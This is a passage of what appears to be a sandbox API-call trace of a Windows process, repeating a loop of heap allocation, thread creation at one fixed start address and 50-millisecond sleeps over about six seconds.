lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bdc [0126.791] Sleep (dwMilliseconds=0x32) [0126.882] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.882] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.882] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1438 [0126.883] Sleep (dwMilliseconds=0x32) [0126.977] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0126.977] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0126.977] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0126.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0126.978] Sleep (dwMilliseconds=0x32) [0127.084] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.084] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.084] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1450 [0127.085] Sleep (dwMilliseconds=0x32) [0127.180] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.180] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.180] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1454 [0127.181] Sleep (dwMilliseconds=0x32) [0127.285] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.285] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.285] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bd0 [0127.286] Sleep (dwMilliseconds=0x32) [0127.415] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.415] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.415] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14bc [0127.416] Sleep (dwMilliseconds=0x32) [0127.520] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.520] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.520] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494 [0127.520] Sleep (dwMilliseconds=0x32) [0127.613] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.613] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.613] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.613] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13cc [0127.614] Sleep (dwMilliseconds=0x32) [0127.714] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.714] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.714] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1414 [0127.714] Sleep (dwMilliseconds=0x32) [0127.803] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.804] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.804] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1310 [0127.804] Sleep (dwMilliseconds=0x32) [0127.906] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.906] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.906] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0127.907] Sleep (dwMilliseconds=0x32) [0127.995] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0127.995] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0127.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bcc [0127.995] Sleep (dwMilliseconds=0x32) [0128.082] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.082] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.083] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0128.084] Sleep (dwMilliseconds=0x32) [0128.177] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.177] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.177] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb8 [0128.178] Sleep (dwMilliseconds=0x32) [0128.298] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.298] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.298] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bb0 [0128.298] Sleep (dwMilliseconds=0x32) [0128.357] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.357] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.357] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.357] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0128.358] Sleep (dwMilliseconds=0x32) [0128.443] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.443] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.443] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0128.444] Sleep (dwMilliseconds=0x32) [0128.536] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.536] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.536] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1860 [0128.537] Sleep (dwMilliseconds=0x32) [0128.634] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.634] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.634] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1864 [0128.634] Sleep (dwMilliseconds=0x32) [0128.723] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.723] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.724] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c4 [0128.724] Sleep (dwMilliseconds=0x32) [0128.818] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.818] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.818] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x183c [0128.819] Sleep (dwMilliseconds=0x32) [0128.923] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0128.923] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0128.923] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0128.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1534 [0128.924] Sleep (dwMilliseconds=0x32) [0129.033] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.033] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.033] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13ac [0129.034] Sleep (dwMilliseconds=0x32) [0129.130] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.130] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.130] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150c [0129.130] Sleep (dwMilliseconds=0x32) [0129.245] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.245] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.245] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758 [0129.246] Sleep (dwMilliseconds=0x32) [0129.330] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.330] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.331] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1720 [0129.331] Sleep (dwMilliseconds=0x32) [0129.474] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.474] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14ec [0129.475] Sleep (dwMilliseconds=0x32) [0129.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1750 [0129.566] Sleep (dwMilliseconds=0x32) [0129.660] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.660] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.660] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14f4 [0129.661] Sleep (dwMilliseconds=0x32) [0129.753] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.753] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.753] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.753] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1730 [0129.754] Sleep (dwMilliseconds=0x32) [0129.846] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.846] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.846] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734 [0129.847] Sleep (dwMilliseconds=0x32) [0129.939] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0129.939] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0129.939] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0129.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b4 [0129.940] Sleep (dwMilliseconds=0x32) [0130.035] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.035] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.035] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b8 [0130.036] Sleep (dwMilliseconds=0x32) [0130.127] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.127] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.127] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc [0130.127] Sleep (dwMilliseconds=0x32) [0130.245] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.245] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.245] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a0 [0130.246] Sleep (dwMilliseconds=0x32) [0130.302] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.302] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.302] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168c [0130.303] Sleep (dwMilliseconds=0x32) [0130.421] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.421] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.421] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1698 [0130.422] Sleep (dwMilliseconds=0x32) [0130.550] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.550] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.550] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660 [0130.550] Sleep (dwMilliseconds=0x32) [0130.719] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.719] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.719] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618 [0130.719] Sleep (dwMilliseconds=0x32) [0130.843] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0130.843] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0130.843] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0130.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1650 [0130.844] Sleep (dwMilliseconds=0x32) [0131.651] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0131.651] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0131.651] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0131.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1638 [0131.652] Sleep (dwMilliseconds=0x32) [0131.762] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0131.762] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0131.762] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0131.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x159c [0131.763] Sleep (dwMilliseconds=0x32) [0132.063] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.063] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.063] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1950 [0132.063] Sleep (dwMilliseconds=0x32) [0132.183] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.184] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.184] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x195c [0132.184] Sleep (dwMilliseconds=0x32) [0132.257] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.257] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.257] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988 [0132.257] Sleep (dwMilliseconds=0x32) [0132.379] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.379] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.379] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1824 [0132.379] Sleep (dwMilliseconds=0x32) [0132.480] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.480] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.480] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19a8 [0132.481] Sleep (dwMilliseconds=0x32) [0132.591] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.591] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.591] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.591] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ac [0132.592] Sleep (dwMilliseconds=0x32) [0132.670] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.670] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.670] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1938 [0132.670] Sleep (dwMilliseconds=0x32) [0132.811] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) 